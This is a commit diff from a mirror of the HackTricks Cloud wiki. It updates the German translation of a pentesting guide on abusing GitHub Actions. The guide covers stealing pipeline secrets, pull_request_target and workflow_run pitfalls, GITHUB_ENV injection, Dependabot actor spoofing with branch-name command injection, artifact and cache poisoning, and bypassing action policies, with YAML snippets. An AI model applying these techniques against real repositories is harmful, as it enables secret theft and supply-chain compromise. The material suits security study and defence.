gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-18 23:55:38 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

Browse Source
This commit is contained in:
Translator
2025-09-29 22:29:03 +00:00
parent 52d03e2916
commit ed8324f118
6 changed files with 356 additions and 355 deletions
Download Patch File Download Diff File Expand all files Collapse all files

211
src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
View File

@@ -1,40 +1,40 @@
# Missbrauch von Github Actions
# Abusing Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Tools
## Werkzeuge
Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu identifizieren:
Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu entdecken:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch dessen Checklist an in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch seine Checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) an
## Grundlegende Informationen
Auf dieser Seite findest du:
- Eine **Zusammenfassung aller Auswirkungen**, falls ein Angreifer Zugriff auf eine Github Action erlangt
- Verschiedene Wege, **Zugriff auf eine Action zu erhalten**:
- Über **Berechtigungen**, um die Action zu erstellen
- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer es schafft, auf eine Github Action zuzugreifen
- Verschiedene Wege, um **Zugriff auf eine Action** zu erhalten:
- Besitz von **Berechtigungen** zum Erstellen der Action
- Missbrauch von **pull request**-bezogenen Triggern
- Missbrauch **anderer externer Zugriffstechniken**
- **Pivoting** von einem bereits kompromittierten Repo
- Schließlich ein Abschnitt über **post-exploitation techniques to abuse an action from inside** (um die genannten Auswirkungen zu verursachen)
- **Pivoting** von einem bereits kompromittierten repo
- Schließlich ein Abschnitt über **post-exploitation techniques**, um eine Action von innen heraus zu missbrauchen (um die genannten Auswirkungen zu verursachen)
## Zusammenfassung der Auswirkungen
Für eine Einführung zu [**Github Actions siehe die Grundinformationen**](../basic-github-information.md#github-actions).
Für eine Einführung zu [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du:
Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du möglicherweise:
- **Secrets stehlen**, die an die pipeline gemountet sind, und **die Privilegien der pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
- **Deployments kompromittieren** und andere **artifacts**.
- Wenn die pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen.
- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivoten.
- **Repository code überschreiben**, abhängig von den mit dem `GITHUB_TOKEN` verbundenen Berechtigungen.
- **Geheimnisse stehlen**, die an die Pipeline gemountet sind, und **die Berechtigungen der Pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen.
- **Deployments kompromittieren** und andere **Artefakte**.
- Wenn die Pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen.
- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivoten.
- **Repository-Code überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind.
## GITHUB_TOKEN
@@ -42,15 +42,15 @@ Dieses "**secret**" (aus `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Dieses Token ist dasselbe, das eine **Github Application** verwenden würde, daher kann es dieselben Endpunkte erreichen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Dieser Token ist derselbe, den eine **Github Application will use**, daher kann er dieselben Endpunkte aufrufen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub erlaubt, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann.
> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub ermöglicht, sodass ein repo mit dem `GITHUB_TOKEN` auf andere interne Repos zugreifen kann.
Die möglichen **Berechtigungen** dieses Tokens findest du unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Die möglichen **Berechtigungen** dieses Tokens kannst du hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Beachte, dass das Token **nach Abschluss des Jobs abläuft**.\
Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Solche Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Einige interessante Dinge, die du mit diesem Token tun kannst:
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Berechtigungen für das Repository und die Organization geben.
> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Rechte für das Repository und die Organisation verschaffen.
<details>
<summary>Secrets in Github Action output auflisten</summary>
<summary>Secrets im Github Action-Output auflisten</summary>
```yaml
name: list_env
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Es ist möglich, die Berechtigungen eines Github Token in Repositories anderer Nutzer zu prüfen, indem man **die Logs der Actions überprüft**:
Es ist möglich, die einem Github Token gewährten Berechtigungen in Repositories anderer Benutzer zu prüfen, indem man die Logs der Github actions überprüft:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Erlaubte Ausführung
## Zulässige Ausführung
> [!NOTE]
> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du die Möglichkeit hast, **ein neues Repo in der organization zu erstellen**, oder **Schreibrechte an einem Repository** hast.
> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du Zugriff darauf hast, **ein neues Repo in der Organisation zu erstellen**, oder **Schreibrechte an einem Repository** zu besitzen.
>
> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) prüfen.
> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen.
### Ausführung durch Repo-Erstellung
Falls Mitglieder einer Organization **create new repos** können und du github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf organization level gesetzten secrets stehlen**.
Falls Mitglieder einer Organisation **neue repos erstellen können** und du Github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf Organisationsebene gesetzten secrets stehlen**.
### Ausführung über einen neuen Branch
Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **die Action aus dem neuen Branch ausführen**. Auf diese Weise kannst du **exfiltrate repository and organization level secrets** (aber du musst wissen, wie sie genannt werden).
Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **diese Action vom neuen Branch aus ausführen**. Auf diese Weise kannst du **repository- und organisationsweite secrets exfiltrieren** (du musst aber wissen, wie sie heißen).
> [!WARNING]
> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals oder manuelle Gates), kann von Collaborators bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments und protected tags) kann ein Contributor einen Workflow so umleiten, dass er auf dessen Branch läuft und gemountete secrets/permissions missbraucht werden.
> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals, oder manuelle Gates) kann von Mitwirkenden bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments, and protected tags) kann ein Contributor einen Workflow umleiten, damit er auf ihrem Branch läuft, und die gemounteten secrets/permissions missbrauchen.
Du kannst die modifizierte Action ausführbar machen **manuell,** wenn eine **PR erstellt wird** oder wenn **etwas Code gepusht wird** (je nachdem, wie auffällig du sein willst):
Du kannst die modifizierte Action ausführbar machen **manuell,** wenn ein **PR erstellt** wird oder wenn **Code gepusht** wird (je nachdem, wie auffällig du sein willst):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,43 +180,43 @@ branches:
```
---
## Forked-Ausführung
## Ausführung in Forks
> [!NOTE]
> Es gibt verschiedene Trigger, die einem Angreifer erlauben könnten, eine **Github Action eines anderen Repositories auszuführen**. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren.
> Es gibt verschiedene Trigger, mit denen ein Angreifer eine **Github Action eines anderen Repositories ausführen** könnte. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer sie kompromittieren.
### `pull_request`
Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein **Maintainer** die **Ausführung** des Workflows **freigeben**:
Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein(e) **maintainer** den **run** des Workflows **freigeben**:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Da die **Standard-Beschränkung** für **Erstbeitragende** gilt, könntest du zunächst **einen validen Bug/Typo beheben** und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**.
> Da die **default limitation** für **first-time** contributors gilt, könntest du zuerst zur **Behebung eines gültigen Bugs/Typos** beitragen und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**.
>
> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Option wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat, und sein Konto zu löschen.~~
> **I tested this and it doesn't work**: ~~Eine andere Option wäre, ein Konto mit dem Namen einer Person zu erstellen, die zum Projekt beigetragen hat, und dessen Account zu löschen.~~
Außerdem verhindert es standardmäßig **write permissions** und den **Zugriff auf Secrets** im Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
Außerdem verhindert es standardmäßig **Schreibberechtigungen** und **secrets access** auf das Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt:
> Mit Ausnahme von `GITHUB_TOKEN` werden **Secrets nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull Requests **aus forked Repositories**.
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings kann er wegen der erwähnten Beschränkungen keine Secrets stehlen oder das Repo überschreiben.
Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings wird er aufgrund der genannten Einschränkungen nicht in der Lage sein, secrets zu stehlen oder das Repo zu überschreiben.
> [!CAUTION]
> **Ja, wenn der Angreifer in dem PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!**
> **Ja: wenn der Angreifer in der PR die github action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!**
Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne Secrets oder Schreibrechte auf das `GITHUB_TOKEN` zum Beispiel **bösartige Artefakte hochladen**.
Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne secrets oder Schreibrechte für den `GITHUB_TOKEN` z. B. **bösartige Artifakte hochladen**.
### **`pull_request_target`**
Der Workflow-Trigger **`pull_request_target`** hat **write permission** für das Ziel-Repository und **Zugriff auf Secrets** (und fragt nicht nach einer Genehmigung).
Der Workflow-Trigger **`pull_request_target`** hat **write permission** im Ziel-Repository und **access to secrets** (und fragt nicht um Erlaubnis).
Beachte, dass der Workflow-Trigger **`pull_request_target`** im Base-Kontext ausgeführt wird und nicht in dem vom PR bereitgestellten Kontext (um **nicht vertrauenswürdigen Code auszuführen**). Für mehr Infos zu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Außerdem, für mehr Infos zu diesem speziellen gefährlichen Einsatz, siehe [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Beachte, dass der Workflow-Trigger **`pull_request_target`** **im base context läuft** und nicht im Kontext des PR (um **nicht untrusted code auszuführen**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Es könnte so aussehen, dass es sicher ist, **`pull_request_target`** zu verwenden, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, aber es gibt einige Fälle, in denen das **nicht** zutrifft.
Es mag so aussehen, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, dass die Verwendung von **`pull_request_target`** **sicher** ist, aber es gibt einige Fälle, in denen dies nicht zutrifft.
Und dieser wird **Zugriff auf Secrets** haben.
Und dieser hat **access to secrets**.
### `workflow_run`
@@ -230,26 +230,26 @@ workflows: [Run Tests]
types:
- completed
```
Außerdem, laut der Dokumentation: Der durch das `workflow_run`-Event gestartete workflow kann **access secrets and write tokens, even if the previous workflow was not**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Prüfen, ob beim Ausführen aus einem pull_request der verwendete/heruntergeladene Code aus dem Origin-Repo oder aus dem geforkten PR stammt
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
## Missbrauch von Forked Execution
## Abusing Forked Execution
Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten:
Wir haben alle Wege erwähnt, mit denen ein externer Angreifer einen GitHub Workflow zur Ausführung bringen könnte. Schauen wir uns jetzt an, wie diese Ausführungen, wenn falsch konfiguriert, missbraucht werden können:
### Untrusted checkout execution
Im Fall von **`pull_request`** wird der workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn zuerst **autorize** und er läuft mit einigen [Einschränkungen](#pull_request).
Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn **zuerst authorisieren** und er läuft mit einigen [Einschränkungen](#pull_request).
Im Fall eines workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem workflow abhängt, der durch **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**.
Im Fall eines Workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem Workflow abhängt, der durch **`pull_request_target` or `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
@@ -282,14 +282,14 @@ message: |
Thank you!
</code></pre>
Der potenziell **untrusted code is being run during `npm install` or `npm build`**, da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
Der potenziell **untrusted code is being run during `npm install` or `npm build`** da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erzeugenden PR **controlled** werden. Wenn die github action diese **data to execute anything** verwendet, könnte das zu **arbitrary code execution** führen:
Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erstelltem PR **kontrolliert** werden. Wenn die github action diese **data to execute anything** verwendet, kann das zu **arbitrary code execution** führen:
{{#ref}}
gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Laut der Dokumentation: Du kannst eine **environment variable für alle nachfolgenden Schritte** in einem workflow job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die **`GITHUB_ENV`** environment file schreibst.
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Wenn ein Angreifer beliebige Werte in diese **env**-Variable **inject** könnte, könnte er Umgebungsvariablen einschleusen, die in nachfolgenden Schritten Code ausführen, z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
Wenn ein Angreifer beliebige Werte in diese **env**-Variable injizieren könnte, könnte er Umgebungsvariablen setzen, die in folgenden Steps Code ausführen, wie z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
Zum Beispiel (siehe [**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stell dir einen workflow vor, der einem hochgeladenen artifact vertraut und dessen Inhalt in die **`GITHUB_ENV`** env variable schreibt. Ein Angreifer könnte etwas wie das Folgende hochladen, um es zu kompromittieren:
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot and other trusted bots
Wie in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine Github Action, die jeden PR von `dependabot[bot]` merged, wie in:
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
```yaml
on: pull_request_target
jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Das ist ein Problem, weil das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
Was ein Problem ist, weil das Feld `github.actor` den Benutzer enthält, der das zuletzt das Workflow auslösende Ereignis verursacht hat. Und es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
- Forke das Repository des Opfers
- Füge die bösartige Payload zu deiner Kopie hinzu
- Aktiviere Dependabot in deinem Fork, indem du eine veraltete Dependency hinzufügst. Dependabot erstellt einen Branch, der die Dependency behebt — mit bösartigem Code.
- Öffne von diesem Branch einen Pull Request zum Repository des Opfers (der PR wird vom Benutzer erstellt, daher passiert vorerst nichts)
- Dann geht der Angreifer zurück zum initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
- Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers ändern, wodurch `dependabot[bot]` zum Actor des letzten Ereignisses wird, das den Workflow auslöste (und damit der Workflow ausgeführt wird).
- Das Repository des Opfers forken
- Die bösartige Payload in deine Kopie einfügen
- Dependabot in deinem Fork aktivieren, indem du eine veraltete Abhängigkeit hinzufügst. Dependabot erstellt einen Branch, der die Abhängigkeit behebt und bösartigen Code enthält.
- Einen Pull Request zum Repository des Opfers von diesem Branch öffnen (der PR wird vom Benutzer erstellt, also passiert noch nichts)
- Dann geht der Angreifer zurück zu dem initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
- Dann führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers verändern, wodurch `dependabot[bot]` der Akteur des zuletzt das Workflow auslösenden Ereignisses wird (und daher das Workflow ausgeführt wird).
Weiterhin: was wäre, wenn statt des Mergings die Github Action eine command injection hätte, wie in:
Weiter: Was wäre, wenn statt zu mergen die Github Action eine command injection wie in:
```yaml
on: pull_request_target
jobs:
@@ -336,7 +336,7 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen — die zweite ist:
Im ursprünglichen Blogpost werden zwei Optionen vorgeschlagen, dieses Verhalten auszunutzen; die zweite lautet:
- Fork the victim repository and enable Dependabot with some outdated dependency.
- Create a new branch with the malicious shell injeciton code.
@@ -345,13 +345,13 @@ Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten au
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
### Verwundbare Third Party Github Actions
### Verwundbare Drittanbieter-Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen Workflows und sogar Repositories.
Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen workflows und sogar repositories.
Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis entpackt wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, wenn das Artifact verwundbar ist, dies ausnutzen, um andere workflows, die dem Artifact vertrauen, zu kompromittieren.
Example of vulnerable workflow:
```yaml
@@ -393,27 +393,27 @@ path: ./script.py
```
---
## Weitere externe Zugriffe
## Andere externe Zugriffe
### Deleted Namespace Repo Hijacking
Wenn ein Account seinen Namen ändert, kann ein anderer Nutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository vor der Namensänderung **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Nutzer mit demselben Namen, ein **repository with the same name** wie das gelöschte zu erstellen.
Wenn ein Account seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein repository zuvor **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **repository mit dem gleichen Namen** wie das gelöschte zu erstellen.
> [!CAUTION]
> Wenn also eine Action ein Repo von einem nicht existierenden Account verwendet, ist es trotzdem möglich, dass ein Angreifer dieses Konto erstellt und die Action compromise.
> Wenn eine action ein repo aus einem nicht existierenden Account verwendet, ist es weiterhin möglich, dass ein Angreifer dieses Account erstellt und die action kompromittiert.
Wenn andere Repositories **dependencies from this user repos** verwendeten, kann ein Angreifer sie hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Wenn andere repositories **dependencies from this user repos** verwendeten, kann ein Angreifer diese hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In diesem Abschnitt sprechen wir über Techniken, die es erlauben würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeinen Zugang zum ersten (siehe vorheriger Abschnitt).
> In diesem Abschnitt sprechen wir über Techniken, die es ermöglichen würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeine Art von Zugang zum ersten Repo (siehe vorherigen Abschnitt).
### Cache Poisoning
Ein Cache wird zwischen **workflow runs in the same branch** gehalten. Das bedeutet, dass wenn ein Angreifer ein **compromise** eines **package** erreicht, das dann im Cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
Ein cache wird zwischen **workflow runs in the same branch** gepflegt. Das bedeutet, dass wenn ein Angreifer ein **package** kompromittiert, das dann im cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows können **artifacts from other workflows and even repos** nutzen. Wenn ein Angreifer es schafft, die Github Action zu **compromise**, die ein **uploads an artifact**, das später von einem anderen workflow verwendet wird, könnte er damit **compromise the other workflows**:
Workflows können **artifacts from other workflows and even repos** verwenden. Wenn ein Angreifer es schafft, die Github Action zu kompromittieren, die ein **artifact** hochlädt, das später von einem anderen workflow verwendet wird, könnte er auch die anderen workflows kompromittieren:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -429,11 +429,11 @@ gh-actions-artifact-poisoning.md
---
## Post-Exploitation von einer Action
## Post Exploitation from an Action
### Github Action Policies Bypass
Wie in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein Repository oder eine Organization eine Policy hat, die die Nutzung bestimmter Actions einschränkt, könnte ein Angreifer einfach eine Action innerhalb des workflow herunterladen (`git clone`) und sie dann als lokale Action referenzieren. Da die Policies lokale Pfade nicht betreffen, **die Action wird ohne Einschränkungen ausgeführt.**
Wie in [**diesem Blogpost**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein repository oder eine organization eine policy hat, die die Verwendung bestimmter actions einschränkt, könnte ein Angreifer einfach die Action innerhalb des workflow mit `git clone` herunterladen und sie dann als local action referenzieren. Da die policies lokale Pfade nicht betreffen, wird **die Action ohne Einschränkungen ausgeführt.**
Beispiel:
```yaml
@@ -456,9 +456,9 @@ path: gha-hazmat
- run: ls tmp/checkout
```
### Zugriff auf AWS und GCP über OIDC
### Zugriff auf AWS und GCP via OIDC
Check the following pages:
Siehe die folgenden Seiten:
{{#ref}}
